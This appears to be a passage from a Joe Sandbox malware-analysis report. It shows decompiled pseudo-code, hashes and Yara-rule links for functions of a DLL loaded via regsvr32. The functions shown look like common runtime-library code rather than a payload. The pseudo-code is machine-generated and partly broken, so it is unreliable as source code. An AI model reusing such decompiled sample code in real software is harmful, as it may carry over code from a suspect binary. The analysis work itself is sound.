                                                                                                        • Opcode ID: 1face0477de2b130cceaf28a818e2f7e08ba92856811cf72bd1037757e1e1156
                                                                                                        • Instruction ID: b06051b3b078f88ad2845c00db6dd8765027ee7b5097e7406f6345e04bfde1d6
                                                                                                        • Opcode Fuzzy Hash: 1face0477de2b130cceaf28a818e2f7e08ba92856811cf72bd1037757e1e1156
                                                                                                        • Instruction Fuzzy Hash: 8181B03650874C8DF7E74AA8CA543F82AF2971D7CAF3DD015FA22472A5CE258A099741
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180019A2C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 61%
                                                                                                        			E00000001180019A2C(void* __edx, intOrPtr* __rcx, void* __rdx, long long __r8, void* __r9) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t94;
				intOrPtr _t95;
				intOrPtr _t125;
				void* _t136;
				intOrPtr _t137;
				signed long long _t143;
				long long _t145;
				long long _t150;
				void* _t151;
				intOrPtr* _t171;
				long long _t182;
				long long _t183;
				intOrPtr* _t184;
				void* _t185;
				intOrPtr* _t186;
				intOrPtr* _t187;
				void* _t188;
				signed long long _t189;
				intOrPtr _t197;
				void* _t204;
				long long _t205;

				_t187 = _t188 - 0x38;
				_t189 = _t188 - 0x138;
				_t143 =  *0x800d81f8; // 0x68308725f9ca
				 *(_t187 + 0x28) = _t143 ^ _t189;
				_t185 = __r9;
				_t145 =  *((intOrPtr*)(_t187 + 0xb8));
				_t204 = __rdx;
				_t205 =  *((intOrPtr*)(_t187 + 0xa0));
				_t186 = __rcx;
				 *((long long*)(_t189 + 0x70)) = _t145;
				 *((long long*)(_t189 + 0x78)) = __r8;
				if ( *__rcx == 0x80000003) goto 0x80019cf5;
				E00000001180018370(_t145);
				r12d =  *((intOrPtr*)(_t187 + 0xb0));
				r15d =  *((intOrPtr*)(_t187 + 0xa8));
				if ( *((long long*)(_t145 + 0x10)) == 0) goto 0x80019af4;
				__imp__EncodePointer();
				_t160 = _t145;
				E00000001180018370(_t145);
				if ( *((intOrPtr*)(_t145 + 0x10)) == _t145) goto 0x80019af4;
				if ( *__rcx == 0xe0434f4d) goto 0x80019af4;
				if ( *__rcx == 0xe0434352) goto 0x80019af4;
				 *((intOrPtr*)(_t189 + 0x38)) = r15d;
				 *(_t189 + 0x30) =  *((intOrPtr*)(_t189 + 0x70));
				 *((intOrPtr*)(_t189 + 0x28)) = r12d;
				 *((long long*)(_t189 + 0x20)) = _t205;
				if (E000000011800169C4(__rcx, __rdx,  *((intOrPtr*)(_t189 + 0x78)), __r9) != 0) goto 0x80019cf5;
				E0000000118001A514(_t187, _t205,  *((intOrPtr*)(__r9 + 8)));
				if ( *_t187 <= 0) goto 0x80019d15;
				 *((intOrPtr*)(_t189 + 0x28)) = r12d;
				 *((long long*)(_t189 + 0x20)) = _t205;
				r8d = r15d;
				_t94 = E00000001180017034(_t145, _t187 - 0x70, _t187, _t185, __rcx, _t187);
				asm("movups xmm0, [ebp-0x70]");
				asm("movdqu [ebp-0x80], xmm0");
				asm("psrldq xmm0, 0x8");
				asm("movd eax, xmm0");
				if (_t94 -  *((intOrPtr*)(_t187 - 0x58)) >= 0) goto 0x80019cf5;
				_t95 =  *((intOrPtr*)(_t187 - 0x78));
				 *((long long*)(_t189 + 0x68)) =  *((intOrPtr*)(_t187 - 0x70));
				 *((intOrPtr*)(_t189 + 0x60)) = _t95;
				asm("inc ecx");
				asm("dec ax");
				asm("movups [ebp-0x80], xmm0");
				if (_t95 - r15d > 0) goto 0x80019c5b;
				_t136 = r15d - _t95;
				if (_t136 > 0) goto 0x80019c5b;
				r9d =  *((intOrPtr*)( *((intOrPtr*)(_t185 + 0x10))));
				E0000000118001A46C( *((intOrPtr*)(_t185 + 0x10)), _t187 - 0x50, _t187 - 0x80,  *((intOrPtr*)(_t185 + 8)));
				 *((long long*)(_t187 - 0x48)) =  *((intOrPtr*)(_t187 - 0x40));
				E0000000118001AD30( *((intOrPtr*)(_t187 - 0x40)), _t187 - 0x50);
				_t150 =  *((intOrPtr*)(_t187 - 0x40));
				 *((long long*)(_t187 - 0x48)) = _t150;
				E0000000118001AD30(_t150, _t187 - 0x50);
				if (_t136 == 0) goto 0x80019bd2;
				E0000000118001AD30(_t150, _t187 - 0x50);
				if (_t136 != 0) goto 0x80019bc3;
				_t137 =  *((intOrPtr*)(_t187 - 0x30));
				if (_t137 == 0) goto 0x80019c00;
				E00000001180017674(_t150);
				_t151 = _t150 +  *((intOrPtr*)(_t187 - 0x30));
				if (_t137 == 0) goto 0x80019c00;
				if (__edx == 0) goto 0x80019bf8;
				E00000001180017674(_t151);
				goto 0x80019bfa;
				if ( *((char*)(_t151 +  *((intOrPtr*)(_t187 - 0x30)) + 0x10)) != 0) goto 0x80019c4f;
				if (( *(_t187 - 0x34) & 0x00000040) != 0) goto 0x80019c4f;
				 *((char*)(_t189 + 0x58)) = 0;
				_t171 = _t186;
				 *((char*)(_t189 + 0x50)) = 1;
				 *((long long*)(_t189 + 0x48)) =  *((intOrPtr*)(_t189 + 0x70));
				 *((intOrPtr*)(_t189 + 0x40)) = r12d;
				 *((long long*)(_t189 + 0x38)) = _t187 - 0x80;
				 *(_t189 + 0x30) =  *(_t189 + 0x30) & 0x00000000;
				 *((long long*)(_t189 + 0x28)) = _t187 - 0x38;
				 *((long long*)(_t189 + 0x20)) = _t205;
				E00000001180018D7C(0, _t160 - 1, _t171, _t204,  *((intOrPtr*)(_t189 + 0x78)), _t185);
				_t197 =  *((intOrPtr*)(_t189 + 0x68));
				_t182 =  *((intOrPtr*)(_t197 + 8)) -  *((char*)(_t171 + 0x1800c20a0));
				 *((long long*)(_t197 + 8)) = _t182;
				 *(_t197 + 0x18) =  *(_t182 - 4) >>  *(_t171 + 0x1800c20b0);
				_t183 = _t182 -  *((char*)(_t171 + 0x1800c20a0));
				 *((long long*)(_t197 + 8)) = _t183;
				 *(_t197 + 0x1c) =  *(_t183 - 4) >>  *(_t171 + 0x1800c20b0);
				_t184 = _t183 -  *((char*)(_t171 + 0x1800c20a0));
				 *(_t197 + 0x20) =  *(_t184 - 4) >>  *(_t171 + 0x1800c20b0);
				 *((long long*)(_t197 + 8)) = _t184;
				 *((intOrPtr*)(_t197 + 0x24)) =  *_t184;
				_t125 =  *((intOrPtr*)(_t189 + 0x60)) + 1;
				 *((long long*)(_t197 + 8)) = _t184 + 4;
				 *((intOrPtr*)(_t189 + 0x60)) = _t125;
				if (_t125 -  *((intOrPtr*)(_t187 - 0x58)) < 0) goto 0x80019b5d;
				return E000000011800149A0( *(_t184 - 4) >>  *(_t171 + 0x1800c20b0), _t125,  *(_t187 + 0x28) ^ _t189);
			}




























                                                                                                        0x180019a39
                                                                                                        0x180019a3e
                                                                                                        0x180019a45
                                                                                                        0x180019a4f
                                                                                                        0x180019a59
                                                                                                        0x180019a5c
                                                                                                        0x180019a63
                                                                                                        0x180019a66
                                                                                                        0x180019a6d
                                                                                                        0x180019a70
                                                                                                        0x180019a75
                                                                                                        0x180019a7a
                                                                                                        0x180019a80
                                                                                                        0x180019a85
                                                                                                        0x180019a8c
                                                                                                        0x180019a98
                                                                                                        0x180019a9c
                                                                                                        0x180019aa2
                                                                                                        0x180019aa5
                                                                                                        0x180019aae
                                                                                                        0x180019ab6
                                                                                                        0x180019abe
                                                                                                        0x180019ad0
                                                                                                        0x180019ad8
                                                                                                        0x180019add
                                                                                                        0x180019ae2
                                                                                                        0x180019aee
                                                                                                        0x180019aff
                                                                                                        0x180019b08
                                                                                                        0x180019b0e
                                                                                                        0x180019b1a
                                                                                                        0x180019b1f
                                                                                                        0x180019b26
                                                                                                        0x180019b2b
                                                                                                        0x180019b2f
                                                                                                        0x180019b34
                                                                                                        0x180019b39
                                                                                                        0x180019b40
                                                                                                        0x180019b51
                                                                                                        0x180019b54
                                                                                                        0x180019b59
                                                                                                        0x180019b5d
                                                                                                        0x180019b62
                                                                                                        0x180019b67
                                                                                                        0x180019b6e
                                                                                                        0x180019b78
                                                                                                        0x180019b7b
                                                                                                        0x180019b91
                                                                                                        0x180019b94
                                                                                                        0x180019ba1
                                                                                                        0x180019ba5
                                                                                                        0x180019baa
                                                                                                        0x180019bb5
                                                                                                        0x180019bb9
                                                                                                        0x180019bc1
                                                                                                        0x180019bc7
                                                                                                        0x180019bd0
                                                                                                        0x180019bd2
                                                                                                        0x180019bd6
                                                                                                        0x180019bd8
                                                                                                        0x180019be1
                                                                                                        0x180019be4
                                                                                                        0x180019be8
                                                                                                        0x180019bea
                                                                                                        0x180019bf6
                                                                                                        0x180019bfe
                                                                                                        0x180019c04
                                                                                                        0x180019c16
                                                                                                        0x180019c1b
                                                                                                        0x180019c1e
                                                                                                        0x180019c23
                                                                                                        0x180019c2c
                                                                                                        0x180019c31
                                                                                                        0x180019c3a
                                                                                                        0x180019c40
                                                                                                        0x180019c45
                                                                                                        0x180019c4a
                                                                                                        0x180019c4f
                                                                                                        0x180019c76
                                                                                                        0x180019c7e
                                                                                                        0x180019c82
                                                                                                        0x180019c9d
                                                                                                        0x180019ca5
                                                                                                        0x180019ca9
                                                                                                        0x180019cc4
                                                                                                        0x180019ccc
                                                                                                        0x180019cd4
                                                                                                        0x180019cda
                                                                                                        0x180019ce2
                                                                                                        0x180019ce4
                                                                                                        0x180019ce8
                                                                                                        0x180019cef
                                                                                                        0x180019d14

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: CallEncodePointerTranslator
                                                                                                        • String ID: MOC$RCC
                                                                                                        • API String ID: 3544855599-2084237596
                                                                                                        • Opcode ID: bb19cad3f686c6b7fb7aba066ba17dff98911fd8fe66ca231cacce1261d296b4
                                                                                                        • Instruction ID: 950ff4deefbef6c5af90a5e0411f6a328219313d9d82516d0aeb4f1f68f417ea
                                                                                                        • Opcode Fuzzy Hash: bb19cad3f686c6b7fb7aba066ba17dff98911fd8fe66ca231cacce1261d296b4
                                                                                                        • Instruction Fuzzy Hash: BC915E73605B988AE792CBA5E8803DD7BA1F7497C8F14811AFE8917B55DF38C299C700
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180003778 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 156synchronizationCOMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 25%
                                                                                                        			E00000001180003778(long long __rbx, void* __rcx, void* __rdx, void* __r8, void* __r9, long long _a16, intOrPtr _a40) {
				signed int _v56;
				void* _v64;
				signed int _v72;
				void* __rdi;
				void* __rsi;
				signed int _t52;
				void* _t62;
				void* _t77;
				intOrPtr _t91;
				signed long long _t95;
				signed long long _t96;
				long long _t98;
				void* _t101;
				long long _t109;
				void* _t113;
				void* _t122;
				void* _t124;
				intOrPtr _t137;
				void* _t143;
				void* _t144;
				void* _t146;
				void* _t159;
				intOrPtr* _t161;
				long long _t162;

				_a16 = __rbx;
				_t95 =  *0x800d81f8; // 0x68308725f9ca
				_t96 = _t95 ^ _t146 - 0x00000040;
				_v56 = _t96;
				r15d = 0;
				_t144 = __r9;
				_t113 = __rcx;
				if ( *((intOrPtr*)(__rdx + 0x210)) == _t162) goto 0x800037ed;
				E0000000118005423C(__rcx,  &_v72, __rdx, __r9);
				 *((long long*)(_t113 + 0x92860)) = _v72 * 0x3e8 + _t96;
				 *((long long*)(_t113 + 0x92870)) =  *((intOrPtr*)(__rdx + 0x218));
				_t98 =  *((intOrPtr*)(__rdx + 0x210));
				 *((long long*)(_t113 + 0x92868)) = _t98;
				if ( *((intOrPtr*)(__rdx + 0x198)) == _t162) goto 0x800039cb;
				if ( *((intOrPtr*)(_t113 + 0x27ad60)) == _t162) goto 0x800039cb;
				if (__r8 == __r9) goto 0x800039cb;
				WaitForSingleObject(??, ??);
				_t52 = CreateMutexA(??, ??, ??);
				 *((long long*)(_t113 + 0x27ad58)) = _t98;
				if ( *((intOrPtr*)(_t113 + 0x27ad40)) !=  *((intOrPtr*)(__rdx + 0x198))) goto 0x80003974;
				_t161 = _t113 + 0x27ad38;
				_t137 =  *_t161;
				if (_t137 == 0) goto 0x80003974;
				_t101 = __r9 - __r8 + 1;
				if (__r8 - __r9 > 0) goto 0x800038d4;
				r15d = _a40;
				if (_t101 - 0x10 < 0) goto 0x800038c5;
				_t159 = _t137 + __r8;
				if (_t159 - _t161 > 0) goto 0x80003892;
				if (_t137 + __r9 - _t161 >= 0) goto 0x800038c5;
				_t122 = __r8 + 0x10;
				_t143 = _t122;
				if (_t122 - __r9 - _t101 <= 0) goto 0x8000389b;
				E000000011800164C0(_t52 & 0x0000000f, r15b, _t159, _t137, __r9 - _t101 - __r8 + 0x00000010 & 0xfffffff0);
				_t124 = _t143;
				if (_t143 - _t144 > 0) goto 0x800038d4;
				 *((intOrPtr*)(_t124 +  *_t161)) = r15b;
				if (_t124 + 1 - _t144 <= 0) goto 0x800038c5;
				asm("xorps xmm0, xmm0");
				_t91 =  *((intOrPtr*)(_t113 + 0x27ad40));
				if (_t91 < 0) goto 0x800038f9;
				asm("repe dec eax");
				goto 0x8000390b;
				asm("repe dec eax");
				asm("addss xmm0, xmm0");
				asm("movss xmm1, [0xb8de9]");
				asm("comiss xmm0, xmm1");
				if (_t91 < 0) goto 0x80003930;
				asm("subss xmm0, xmm1");
				asm("comiss xmm0, xmm1");
				if (_t91 >= 0) goto 0x80003930;
				asm("repe dec esp");
				E000000011800039EC(0 / (_t159 + 0) / (_t159 + 0), 0 / (_t159 + 0) % (_t159 + 0), _t77, _t113, _t113);
				ReleaseMutex(??);
				E00000001180003DE0(0 / (_t159 + 0) % (_t159 + 0), __r8, _t113, _t113, _t159 + 0);
				goto 0x800039cb;
				_t109 =  *((intOrPtr*)(_t113 + 0x27ad38));
				if (_t109 == 0) goto 0x80003996;
				_t62 = E00000001180053D58(_t113, _t109, _t144);
				 *((long long*)(_t113 + 0x27ad38)) = _t162;
				 *((long long*)(_t113 + 0x27ad40)) =  *((intOrPtr*)(_t143 + 0x198));
				0x80026bf8();
				 *((long long*)(_t113 + 0x27ad38)) = _t109;
				 *((intOrPtr*)(_t162 +  *((intOrPtr*)(_t113 + 0x27ad38)))) = r15b;
				if (r15d + 1 -  *((intOrPtr*)(_t113 + 0x27ad40)) <= 0) goto 0x800039af;
				return E000000011800149A0(_t62, r15d + 1, _v56 ^ _t146 - 0x00000040);
			}



























                                                                                                        0x180003778
                                                                                                        0x180003788
                                                                                                        0x18000378f
                                                                                                        0x180003792
                                                                                                        0x180003797
                                                                                                        0x18000379a
                                                                                                        0x1800037a3
                                                                                                        0x1800037ad
                                                                                                        0x1800037b4
                                                                                                        0x1800037ca
                                                                                                        0x1800037d8
                                                                                                        0x1800037df
                                                                                                        0x1800037e6
                                                                                                        0x1800037f4
                                                                                                        0x180003801
                                                                                                        0x18000380a
                                                                                                        0x18000381c
                                                                                                        0x18000382d
                                                                                                        0x180003833
                                                                                                        0x180003848
                                                                                                        0x18000384e
                                                                                                        0x180003855
                                                                                                        0x18000385b
                                                                                                        0x18000386a
                                                                                                        0x180003870
                                                                                                        0x180003872
                                                                                                        0x18000387e
                                                                                                        0x180003880
                                                                                                        0x18000388b
                                                                                                        0x180003890
                                                                                                        0x18000389b
                                                                                                        0x18000389f
                                                                                                        0x1800038a5
                                                                                                        0x1800038b8
                                                                                                        0x1800038bd
                                                                                                        0x1800038c3
                                                                                                        0x1800038c8
                                                                                                        0x1800038d2
                                                                                                        0x1800038e4
                                                                                                        0x1800038ed
                                                                                                        0x1800038f0
                                                                                                        0x1800038f2
                                                                                                        0x1800038f7
                                                                                                        0x180003902
                                                                                                        0x180003907
                                                                                                        0x18000390b
                                                                                                        0x180003915
                                                                                                        0x180003918
                                                                                                        0x18000391a
                                                                                                        0x18000391e
                                                                                                        0x180003921
                                                                                                        0x180003935
                                                                                                        0x180003951
                                                                                                        0x18000395d
                                                                                                        0x18000396d
                                                                                                        0x180003972
                                                                                                        0x180003974
                                                                                                        0x18000397e
                                                                                                        0x180003983
                                                                                                        0x180003988
                                                                                                        0x180003996
                                                                                                        0x18000399d
                                                                                                        0x1800039a2
                                                                                                        0x1800039b8
                                                                                                        0x1800039c9
                                                                                                        0x1800039e8

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Mutex$CreateObjectReleaseSingleWait_invalid_parameter_noinfo
                                                                                                        • String ID: JKDefrag
                                                                                                        • API String ID: 2311403732-3093310068
                                                                                                        • Opcode ID: b25a10899e5ad0db1f368d6485f95fb8a5b6cd1dcaf0d32109ccbf7f5e75ec78
                                                                                                        • Instruction ID: d386a4f5183ea77127cbcc34852c3c1319cf555c97621fbfb868e52b66d90109
                                                                                                        • Opcode Fuzzy Hash: b25a10899e5ad0db1f368d6485f95fb8a5b6cd1dcaf0d32109ccbf7f5e75ec78
                                                                                                        • Instruction Fuzzy Hash: EA51D372211B8C91EA96DB2394413AC73A5E788FD4F088625FE4E0BB95DF38C6898310
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180019814 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 68%
                                                                                                        			E00000001180019814(long long __rbx, intOrPtr* __rcx, long long __rdx, long long __r8, void* __r9) {
				void* _t19;
				void* _t27;
				void* _t36;
				void* _t39;
				void* _t42;
				void* _t43;
				void* _t45;
				void* _t46;
				void* _t52;
				void* _t54;
				void* _t56;
				void* _t59;

				_t27 = _t45;
				 *((long long*)(_t27 + 0x20)) = __rbx;
				 *((long long*)(_t27 + 0x18)) = __r8;
				 *((long long*)(_t27 + 0x10)) = __rdx;
				_t43 = _t27 - 0x3f;
				_t46 = _t45 - 0xc0;
				if ( *__rcx == 0x80000003) goto 0x800198b8;
				E00000001180018370(_t27);
				r12d =  *((intOrPtr*)(_t43 + 0x6f));
				if ( *((long long*)(_t27 + 0x10)) == 0) goto 0x800198d3;
				__imp__EncodePointer(_t59, _t56, _t54, _t52, _t36, _t39, _t42);
				E00000001180018370(_t27);
				if ( *((intOrPtr*)(_t27 + 0x10)) == _t27) goto 0x800198d3;
				if ( *__rcx == 0xe0434f4d) goto 0x800198d3;
				r13d =  *((intOrPtr*)(_t43 + 0x77));
				if ( *__rcx == 0xe0434352) goto 0x800198d7;
				 *((intOrPtr*)(_t46 + 0x38)) = r12d;
				 *((long long*)(_t46 + 0x30)) =  *((intOrPtr*)(_t43 + 0x7f));
				 *((intOrPtr*)(_t46 + 0x28)) = r13d;
				 *((long long*)(_t46 + 0x20)) =  *((intOrPtr*)(_t43 + 0x67));
				_t19 = E00000001180016970(__rcx,  *((intOrPtr*)(_t43 + 0x4f)), __r8, __r9);
				if (_t19 == 0) goto 0x800198d7;
				return _t19;
			}















                                                                                                        0x180019814
                                                                                                        0x180019817
                                                                                                        0x18001981b
                                                                                                        0x18001981f
                                                                                                        0x18001982e
                                                                                                        0x180019832
                                                                                                        0x180019848
                                                                                                        0x18001984a
                                                                                                        0x18001984f
                                                                                                        0x18001985c
                                                                                                        0x180019860
                                                                                                        0x180019869
                                                                                                        0x180019872
                                                                                                        0x18001987b
                                                                                                        0x180019884
                                                                                                        0x180019888
                                                                                                        0x180019898
                                                                                                        0x1800198a0
                                                                                                        0x1800198a5
                                                                                                        0x1800198aa
                                                                                                        0x1800198af
                                                                                                        0x1800198b6
                                                                                                        0x1800198d2

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: CallEncodePointerTranslator
                                                                                                        • String ID: MOC$RCC
                                                                                                        • API String ID: 3544855599-2084237596
                                                                                                        • Opcode ID: 551f1e6fefb868cc4dc3aed2cb2ac89ef1711a5af30a907d0e2f21546e35625c
                                                                                                        • Instruction ID: a1659d739b5f1c5d85c4d3f187ca2d7c250a708fe6f7dabbd3ffbcae7df9847e
                                                                                                        • Opcode Fuzzy Hash: 551f1e6fefb868cc4dc3aed2cb2ac89ef1711a5af30a907d0e2f21546e35625c
                                                                                                        • Instruction Fuzzy Hash: A5514832A05A888AE762CFA5D4803DD77A0F749BC8F188116EF4917B99DF38D249C740
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018002019C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 65%
                                                                                                        			E0000000118002019C(void* __edx, long long __rbx, signed int* __rcx, long long __rsi, void* __r10, long long _a16, long long _a24) {
				void* _v8;
				signed int _v24;
				char _v104;
				intOrPtr _v112;
				char _v120;
				void* _t28;
				void* _t31;
				signed long long _t40;
				signed int* _t45;
				intOrPtr* _t48;
				long long _t53;
				signed int* _t56;
				void* _t65;
				void* _t69;

				_a16 = __rbx;
				_a24 = __rsi;
				_t40 =  *0x800d81f8; // 0x68308725f9ca
				_v24 = _t40 ^ _t65 - 0x00000090;
				_t45 = __rcx;
				_t48 =  *0x800d9928; // 0x0
				_t31 = __edx;
				if ( *_t48 != sil) goto 0x800201e2;
				 *((intOrPtr*)(__rcx + 8)) = 0;
				goto 0x80020297;
				if ( *0x800c36a0 - 0x30 - 9 > 0) goto 0x8002020a;
				 *0x800d9928 = 0x1800c36a1;
				E0000000118001C4A0( *0x800c36a0 - 0x2f, __rcx,  *0x800c36a0 - 0x2f, __rsi, __r10);
				goto 0x8002029a;
				E00000001180023B40(_t28,  &_v120,  *0x800c36a0 - 0x2f);
				_t53 =  *0x800d9928; // 0x0
				if (_v112 == sil) goto 0x8002027e;
				 *0x800d9928 = _t53 + 1;
				if (_t31 != 0x42) goto 0x8002026e;
				asm("movsd xmm3, [esp+0x20]");
				asm("dec cx");
				E00000001180024780(_t28, _v120,  &_v104,  *0x800c36a0 - 0x2f, "%lf", _t69);
				r8b = sil;
				_t56 = _t45;
				E0000000118001BC98(_t56,  &_v104);
				goto 0x8002029a;
				if (_t31 != 0x41) goto 0x8002027e;
				asm("movss xmm3, [esp+0x20]");
				asm("cvtps2pd xmm3, xmm3");
				goto 0x80020241;
				_t58 =  !=  ? __rsi : 0x800c36a0;
				asm("sbb eax, eax");
				_t45[2] =  ~( *_t56) & 0x00000002;
				 *_t45 =  !=  ? __rsi : 0x800c36a0;
				return E000000011800149A0( ~( *_t56) & 0x00000002, _t28, _v24 ^ _t65 - 0x00000090);
			}

















                                                                                                        0x18002019c
                                                                                                        0x1800201a1
                                                                                                        0x1800201ae
                                                                                                        0x1800201b8
                                                                                                        0x1800201c0
                                                                                                        0x1800201c5
                                                                                                        0x1800201cc
                                                                                                        0x1800201d1
                                                                                                        0x1800201d3
                                                                                                        0x1800201dd
                                                                                                        0x1800201e8
                                                                                                        0x1800201f3
                                                                                                        0x180020200
                                                                                                        0x180020205
                                                                                                        0x18002020f
                                                                                                        0x180020214
                                                                                                        0x180020220
                                                                                                        0x18002022a
                                                                                                        0x180020239
                                                                                                        0x18002023b
                                                                                                        0x180020241
                                                                                                        0x180020257
                                                                                                        0x18002025c
                                                                                                        0x180020264
                                                                                                        0x180020267
                                                                                                        0x18002026c
                                                                                                        0x180020271
                                                                                                        0x180020273
                                                                                                        0x180020279
                                                                                                        0x18002027c
                                                                                                        0x180020289
                                                                                                        0x18002028f
                                                                                                        0x180020294
                                                                                                        0x180020297
                                                                                                        0x1800202c1

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: NameName::
                                                                                                        • String ID: %lf
                                                                                                        • API String ID: 1333004437-2891890143
                                                                                                        • Opcode ID: 9f56d061987f10e5cbf2aa13debc76aba6d4df3f081a4487a415bf600a331eb5
                                                                                                        • Instruction ID: e977c52d3c73ef5dddba8095bf5b64c03a91c8def5ea6dbc69ef2004895c9ed4
                                                                                                        • Opcode Fuzzy Hash: 9f56d061987f10e5cbf2aa13debc76aba6d4df3f081a4487a415bf600a331eb5
                                                                                                        • Instruction Fuzzy Hash: C1314F32218B88D5EAA3CB65A8603ED7764F38DBC4FA4C216F99D47656CF38C6498740
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800637EC Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 54%
                                                                                                        			E000000011800637EC(void* __eax, signed int __edx, void* __esi, void* __ebp, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __r8) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				intOrPtr _t184;
				signed int _t188;
				signed int _t195;
				signed int _t200;
				intOrPtr _t209;
				void* _t211;
				signed char _t212;
				void* _t262;
				signed long long _t263;
				long long _t268;
				long long _t270;
				void* _t271;
				long long _t273;
				intOrPtr* _t279;
				intOrPtr* _t286;
				long long _t288;
				long long _t315;
				void* _t323;
				long long _t324;
				void* _t325;
				long long _t326;
				intOrPtr* _t327;
				long long _t328;
				signed char* _t329;
				signed char* _t330;
				signed char* _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				signed long long _t335;
				intOrPtr _t338;
				intOrPtr _t341;
				void* _t343;
				signed long long _t345;
				signed long long _t347;
				long long _t356;
				void* _t360;
				long long _t361;
				signed long long _t364;
				char _t365;
				signed long long _t366;
				void* _t369;
				signed char* _t370;
				signed long long _t372;

				_t262 = _t334;
				_t333 = _t262 - 0x57;
				_t335 = _t334 - 0xd0;
				 *((long long*)(_t333 - 9)) = 0xfffffffe;
				 *((long long*)(_t262 + 8)) = __rbx;
				_t263 =  *0x800d81f8; // 0x68308725f9ca
				 *(_t333 + 0x17) = _t263 ^ _t335;
				_t327 = __r8;
				 *((long long*)(_t333 - 0x41)) = __r8;
				_t279 = __rcx;
				 *((long long*)(_t333 - 0x59)) =  *((intOrPtr*)(_t333 + 0x7f));
				_t364 = __edx >> 6;
				 *(_t333 - 0x39) = _t364;
				_t372 = __edx + __edx * 8;
				_t268 =  *((intOrPtr*)( *((intOrPtr*)(0x180000000 + 0xda020 + _t364 * 8)) + 0x28 + _t372 * 8));
				 *((long long*)(_t333 - 0x19)) = _t268;
				r12d = r9d;
				_t361 = _t360 + __r8;
				 *((long long*)(_t333 - 0x61)) = _t361;
				 *((intOrPtr*)(_t333 - 0x49)) = GetConsoleOutputCP();
				if ( *((intOrPtr*)( *((intOrPtr*)(_t333 - 0x59)) + 0x28)) != dil) goto 0x8006388c;
				E0000000118002F1E0(_t268, __rcx,  *((intOrPtr*)(_t333 - 0x59)), __rdx, __r8);
